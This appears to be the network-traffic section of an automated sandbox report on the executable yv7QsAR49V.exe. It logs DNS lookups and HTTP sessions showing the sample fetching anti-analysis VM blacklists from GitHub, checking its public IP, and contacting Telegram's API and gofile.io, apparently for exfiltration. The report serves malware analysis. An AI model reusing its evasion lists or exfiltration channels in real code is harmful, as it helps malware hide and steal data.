Nov 29, 2024 12:18:51.001197100 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001203060 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001272917 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001277924 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001327991 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001333952 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001385927 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001394033 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001770973 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001779079 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001847029 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001853943 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001913071 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001918077 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.001982927 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.001987934 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.002033949 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.002038002 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.002172947 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.002177954 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.002255917 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.002259970 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.003523111 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:51.051336050 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.252283096 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:51.296991110 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:52.751450062 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:52.751619101 CET	443	49726	31.14.70.244	192.168.2.12
Nov 29, 2024 12:18:52.751678944 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:52.752131939 CET	49726	443	192.168.2.12	31.14.70.244
Nov 29, 2024 12:18:53.186577082 CET	49730	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:53.306655884 CET	80	49730	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:53.306946039 CET	49730	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:53.306946039 CET	49730	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:53.426939011 CET	80	49730	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:54.496431112 CET	80	49730	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:54.496830940 CET	49730	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:54.512315989 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:54.512362957 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:54.512435913 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:54.512717962 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:54.512731075 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:54.617249012 CET	80	49730	104.16.184.241	192.168.2.12
Nov 29, 2024 12:18:54.617330074 CET	49730	80	192.168.2.12	104.16.184.241
Nov 29, 2024 12:18:55.922880888 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:55.932832956 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:55.932852030 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:56.898195028 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:56.898202896 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:56.898271084 CET	443	49731	149.154.167.220	192.168.2.12
Nov 29, 2024 12:18:56.898276091 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:56.898319006 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:56.899214983 CET	49731	443	192.168.2.12	149.154.167.220
Nov 29, 2024 12:18:57.401972055 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:57.402012110 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:57.402194023 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:57.402729034 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:57.402743101 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.204356909 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.204473972 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:59.218705893 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:59.218729973 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.219070911 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.220423937 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:59.263338089 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.548942089 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.549638987 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:59.549684048 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.935899973 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.935992956 CET	443	49732	44.208.10.127	192.168.2.12
Nov 29, 2024 12:18:59.936131001 CET	49732	443	192.168.2.12	44.208.10.127
Nov 29, 2024 12:18:59.936790943 CET	49732	443	192.168.2.12	44.208.10.127

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 12:18:33.522866011 CET	54236	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:33.662523985 CET	53	54236	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:35.653512001 CET	52661	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:35.794639111 CET	53	52661	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:39.204875946 CET	61477	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:39.351389885 CET	53	61477	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:42.644118071 CET	52167	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:42.784904957 CET	53	52167	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:42.812912941 CET	56959	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:42.955941916 CET	53	56959	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:46.467235088 CET	61498	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:46.607893944 CET	53	61498	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:48.938694954 CET	50472	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:49.190294981 CET	53	50472	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:53.035010099 CET	58383	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:53.174587965 CET	53	58383	1.1.1.1	192.168.2.12
Nov 29, 2024 12:18:56.930768967 CET	62200	53	192.168.2.12	1.1.1.1
Nov 29, 2024 12:18:57.400911093 CET	53	62200	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 12:18:33.522866011 CET	192.168.2.12	1.1.1.1	0xe1c	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:35.653512001 CET	192.168.2.12	1.1.1.1	0x59c2	Standard query (0)	246.229.1.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:39.204875946 CET	192.168.2.12	1.1.1.1	0x3a6e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:42.644118071 CET	192.168.2.12	1.1.1.1	0xf8b2	Standard query (0)	246.229.1.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:42.812912941 CET	192.168.2.12	1.1.1.1	0x4815	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:46.467235088 CET	192.168.2.12	1.1.1.1	0xed8b	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:48.938694954 CET	192.168.2.12	1.1.1.1	0x8cf5	Standard query (0)	store5.gofile.io	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:53.035010099 CET	192.168.2.12	1.1.1.1	0x3355	Standard query (0)	246.229.1.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:56.930768967 CET	192.168.2.12	1.1.1.1	0xb54a	Standard query (0)	szurubooru.zulipchat.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 12:18:33.662523985 CET	1.1.1.1	192.168.2.12	0xe1c	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:33.662523985 CET	1.1.1.1	192.168.2.12	0xe1c	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:33.662523985 CET	1.1.1.1	192.168.2.12	0xe1c	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:33.662523985 CET	1.1.1.1	192.168.2.12	0xe1c	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:35.794639111 CET	1.1.1.1	192.168.2.12	0x59c2	Name error (3)	246.229.1.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:39.351389885 CET	1.1.1.1	192.168.2.12	0x3a6e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:42.784904957 CET	1.1.1.1	192.168.2.12	0xf8b2	Name error (3)	246.229.1.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:42.955941916 CET	1.1.1.1	192.168.2.12	0x4815	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:42.955941916 CET	1.1.1.1	192.168.2.12	0x4815	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:46.607893944 CET	1.1.1.1	192.168.2.12	0xed8b	No error (0)	api.gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:49.190294981 CET	1.1.1.1	192.168.2.12	0x8cf5	No error (0)	store5.gofile.io		31.14.70.244	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:53.174587965 CET	1.1.1.1	192.168.2.12	0x3355	Name error (3)	246.229.1.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		44.208.10.127	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		52.20.41.38	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		3.90.94.202	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		54.198.104.147	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		3.210.246.148	A (IP address)	IN (0x0001)	false
Nov 29, 2024 12:18:57.400911093 CET	1.1.1.1	192.168.2.12	0xb54a	No error (0)	szurubooru.zulipchat.com		50.17.0.11	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

api.telegram.org

api.gofile.io

store5.gofile.io

szurubooru.zulipchat.com

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49719	104.16.184.241	80	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 12:18:43.077610970 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Nov 29, 2024 12:18:44.217437029 CET	535	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 11:18:44 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=97DmmMt8CnH3MtvFxz988EuPLBderxNnxjOLNChkT70-1732879124-1.0.1.1-Sz5twdIGK6b_6q_LHIcMMuC9K85Iw_fwpX8AgRQFA4EWmJEVmeZ3KQSS64mhwOeaG_eJ78kQCadPvKWEZ0Q8Sw; path=/; expires=Fri, 29-Nov-24 11:48:44 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ea232dd4e017c8e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49721	104.16.184.241	80	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 12:18:46.156610012 CET	39	OUT	GET / HTTP/1.1 Host: icanhazip.com
Nov 29, 2024 12:18:47.295135021 CET	535	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 11:18:47 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=Yf6lr8PshOwdhD.ue0BhwEFBnb288myH9iHumZRsi3M-1732879127-1.0.1.1-yRmrOQ_yv8Z1FNBDXDSs0rUL3Bw9hoZ.Q54L5J1MWBN.Vb9daERLtnzSy1SDXv8tq43Z1Xo1JFkaA5IFgoyT4Q; path=/; expires=Fri, 29-Nov-24 11:48:47 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ea232f07f518c6b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49730	104.16.184.241	80	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 12:18:53.306946039 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Nov 29, 2024 12:18:54.496431112 CET	535	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 11:18:54 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=mK2rQaljwMKAQJ_X2jvLNeb2hwXiCFHvYMFJ8geli14-1732879134-1.0.1.1-2RcBsCpdWBngt8EJksYHEpzQj64AcIbutz6tCv1.iON88nv51uoZLRmU7XCXdx979i1QlyN6OBmRznLa1V8Gag; path=/; expires=Fri, 29-Nov-24 11:48:54 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8ea2331d7ce2439d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 0a Data Ascii: 8.46.123.228

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	120	OUT	GET /6nz/virustotal-vm-blacklist/main/gpu_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1246 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "30981a4a96ce3533cb33ae7620077db7a4a8377cb1ef8fcfc8a07293fa2937d6" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7E09:1CF27F:96EA1:A565C:67498FF6 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740033-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1732879115.309069,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7db3b45f7304ab252d4a9582ae0e178411962b86 Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 115
2024-11-29 11:18:35 UTC	1246	IN	Data Raw: 32 39 5f 5f 48 45 52 45 0a 32 47 36 43 37 5a 36 31 0a 32 52 4f 5f 38 55 56 55 0a 32 53 4e 35 33 38 4b 34 0a 35 4b 42 4b 34 31 5f 4c 0a 35 4c 58 50 41 38 45 53 0a 35 50 45 43 4e 36 4c 31 0a 35 52 50 46 54 33 48 5a 0a 36 42 4f 53 34 4f 37 55 0a 36 42 5a 50 32 59 32 5f 0a 36 46 34 34 41 44 52 37 0a 36 4d 50 41 39 33 0a 37 32 32 39 48 39 47 39 0a 37 34 5a 5a 43 59 37 41 0a 37 54 42 39 47 36 50 37 0a 38 34 4b 44 31 4b 53 4b 0a 38 4e 59 47 4b 33 46 4c 0a 38 59 33 42 53 58 4b 47 0a 39 53 46 37 32 46 47 37 0a 39 5a 37 37 44 4e 34 54 0a 5f 47 33 31 45 34 36 4e 0a 5f 50 48 4c 4e 59 47 52 0a 5f 54 39 57 35 4c 48 4f 0a 41 46 52 42 52 36 54 43 0a 41 4d 44 20 52 61 64 65 6f 6e 20 48 44 20 38 36 35 30 47 0a 41 53 50 45 45 44 20 47 72 61 70 68 69 63 73 20 46 61 6d 69 6c Data Ascii: 29__HERE2G6C7Z612RO_8UVU2SN538K45KBK41_L5LXPA8ES5PECN6L15RPFT3HZ6BOS4O7U6BZP2Y2_6F44ADR76MPA937229H9G974ZZCY7A7TB9G6P784KD1KSK8NYGK3FL8Y3BSXKG9SF72FG79Z77DN4T_G31E46N_PHLNYGR_T9W5LHOAFRBR6TCAMD Radeon HD 8650GASPEED Graphics Famil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49716	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	119	OUT	GET /6nz/virustotal-vm-blacklist/main/ip_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2853 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "a0f0ad87a3cc1741bf24d6d8ec37619ff28dab76edf802ca5ceb0e1349232152" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: DDA6:287308:A00E2:AE8A6:67498FF6 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1732879115.310121,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 73c48dc6951ff56d6fb064bb9ca9074f839a906f Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 210
2024-11-29 11:18:35 UTC	1378	IN	Data Raw: 31 30 2e 32 30 30 2e 31 36 39 2e 32 30 34 0a 31 30 34 2e 31 39 38 2e 31 35 35 2e 31 37 33 0a 31 30 34 2e 32 30 30 2e 31 35 31 2e 33 35 0a 31 30 39 2e 31 34 35 2e 31 37 33 2e 31 36 39 0a 31 30 39 2e 32 32 36 2e 33 37 2e 31 37 32 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 30 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 31 0a 31 30 39 2e 37 34 2e 31 35 34 2e 39 32 0a 31 34 30 2e 32 32 38 2e 32 31 2e 33 36 0a 31 34 39 2e 38 38 2e 31 31 31 2e 37 39 0a 31 35 34 2e 36 31 2e 37 31 2e 35 30 0a 31 35 34 2e 36 31 2e 37 31 2e 35 31 0a 31 37 32 2e 31 30 35 2e 38 39 2e 32 30 32 0a 31 37 34 2e 37 2e 33 32 2e 31 39 39 0a 31 37 36 2e 36 33 2e 34 2e 31 37 39 0a 31 37 38 2e 32 33 39 2e 31 36 35 2e 37 30 0a 31 38 31 2e 32 31 34 2e 31 35 33 2e 31 31 0a 31 38 35 2e 32 32 30 2e 31 30 31 Data Ascii: 10.200.169.204104.198.155.173104.200.151.35109.145.173.169109.226.37.172109.74.154.90109.74.154.91109.74.154.92140.228.21.36149.88.111.79154.61.71.50154.61.71.51172.105.89.202174.7.32.199176.63.4.179178.239.165.70181.214.153.11185.220.101
2024-11-29 11:18:35 UTC	1378	IN	Data Raw: 30 2e 31 31 38 0a 32 31 33 2e 33 33 2e 31 39 30 2e 31 37 31 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 32 37 0a 32 31 33 2e 33 33 2e 31 39 30 2e 32 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 33 35 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 32 0a 32 31 33 2e 33 33 2e 31 39 30 2e 34 36 0a 32 31 33 2e 33 33 2e 31 39 30 2e 36 39 0a 32 31 33 2e 33 33 2e 31 39 30 2e 37 34 0a 32 33 2e 31 32 38 2e 32 34 38 2e 34 36 0a 33 34 2e 31 30 35 2e 30 2e 32 37 0a 33 34 2e 31 30 35 2e 31 38 33 2e 36 38 0a 33 34 2e 31 30 35 2e 37 32 2e 32 34 31 0a 33 34 2e 31 33 38 2e 32 35 35 2e 31 30 34 0a 33 34 2e 31 33 38 2e 39 36 2e 32 33 0a 33 34 2e 31 34 31 2e 31 34 36 2e 31 31 34 0a 33 34 2e 31 34 31 2e 32 34 35 2e 32 35 0a 33 34 2e 31 34 32 2e 37 34 Data Ascii: 0.118213.33.190.171213.33.190.22213.33.190.227213.33.190.242213.33.190.35213.33.190.42213.33.190.46213.33.190.69213.33.190.7423.128.248.4634.105.0.2734.105.183.6834.105.72.24134.138.255.10434.138.96.2334.141.146.11434.141.245.2534.142.74
2024-11-29 11:18:35 UTC	97	IN	Data Raw: 35 2e 37 31 2e 36 35 0a 39 35 2e 32 35 2e 37 31 2e 37 30 0a 39 35 2e 32 35 2e 37 31 2e 38 30 0a 39 35 2e 32 35 2e 37 31 2e 38 36 0a 39 35 2e 32 35 2e 37 31 2e 38 37 0a 39 35 2e 32 35 2e 37 31 2e 38 39 0a 39 35 2e 32 35 2e 37 31 2e 39 32 0a 39 35 2e 32 35 2e 38 31 2e 32 34 0a 4e 6f 6e 65 0a Data Ascii: 5.71.6595.25.71.7095.25.71.8095.25.71.8695.25.71.8795.25.71.8995.25.71.9295.25.81.24None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49713	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	128	OUT	GET /6nz/virustotal-vm-blacklist/main/pc_username_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "bbf75a064e165fba2b8fcc6595e496788fe27c3185ffa2fa56d3479e12867693" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: E854:128C4E:AEAFA:BD2CE:67498FF8 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740047-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1732879115.266351,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7beeb0eec7439e9cb8472aec445e345ec922befb Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 217
2024-11-29 11:18:35 UTC	1275	IN	Data Raw: 30 35 68 30 30 47 69 30 0a 30 35 4b 76 41 55 51 4b 50 51 0a 32 31 7a 4c 75 63 55 6e 66 49 38 35 0a 33 75 32 76 39 6d 38 0a 34 33 42 79 34 0a 34 74 67 69 69 7a 73 4c 69 6d 53 0a 35 73 49 42 4b 0a 35 59 33 79 37 33 0a 67 72 65 70 65 74 65 0a 36 34 46 32 74 4b 49 71 4f 35 0a 36 4f 34 4b 79 48 68 4a 58 42 69 52 0a 37 44 42 67 64 78 75 0a 37 77 6a 6c 47 58 37 50 6a 6c 57 34 0a 38 4c 6e 66 41 61 69 39 51 64 4a 52 0a 38 4e 6c 30 43 6f 6c 4e 51 35 62 71 0a 38 56 69 7a 53 4d 0a 39 79 6a 43 50 73 45 59 49 4d 48 0a 41 62 62 79 0a 61 63 6f 78 0a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 0a 41 6d 79 0a 61 6e 64 72 65 61 0a 41 70 70 4f 6e 46 6c 79 53 75 70 70 6f 72 74 0a 41 53 50 4e 45 54 0a 61 7a 75 72 65 0a 62 61 72 62 61 72 72 61 79 0a 62 65 6e 6a 61 68 0a 42 72 75 6e Data Ascii: 05h00Gi005KvAUQKPQ21zLucUnfI853u2v9m843By44tgiizsLimS5sIBK5Y3y73grepete64F2tKIqO56O4KyHhJXBiR7DBgdxu7wjlGX7PjlW48LnfAai9QdJR8Nl0ColNQ5bq8VizSM9yjCPsEYIMHAbbyacoxAdministratorAmyandreaAppOnFlySupportASPNETazurebarbarraybenjahBrun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49715	185.199.108.133	443	7052	C:\Users\user\Desktop\yv7QsAR49V.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 11:18:35 UTC	125	OUT	GET /6nz/virustotal-vm-blacklist/main/services_list.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-11-29 11:18:35 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 101 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "0bcf2aa1d6fd4fa9b568734e0ed0859da01bebef24f1892eae4c51529b34682e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 93D2:35CF0B:344D10:39C25C:6749A309 Accept-Ranges: bytes Date: Fri, 29 Nov 2024 11:18:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740041-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1732879115.308641,VS0,VE69 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6d8c71592e1235f1f90c1d91fe590b2fd40da5d6 Expires: Fri, 29 Nov 2024 11:23:35 GMT Source-Age: 0
2024-11-29 11:18:35 UTC	101	IN	Data Raw: 76 6d 69 63 68 65 61 72 74 62 65 61 74 0a 76 6d 69 63 6b 76 70 65 78 63 68 61 6e 67 65 0a 76 6d 69 63 72 64 76 0a 76 6d 69 63 73 68 75 74 64 6f 77 6e 0a 76 6d 69 63 74 69 6d 65 73 79 6e 63 0a 76 6d 69 63 76 73 73 0a 56 6d 52 65 6d 6f 74 65 53 65 72 76 69 63 65 0a 56 53 53 0a 53 79 73 6d 6f 6e 36 34 0a Data Ascii: vmicheartbeatvmickvpexchangevmicrdvvmicshutdownvmictimesyncvmicvssVmRemoteServiceVSSSysmon64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
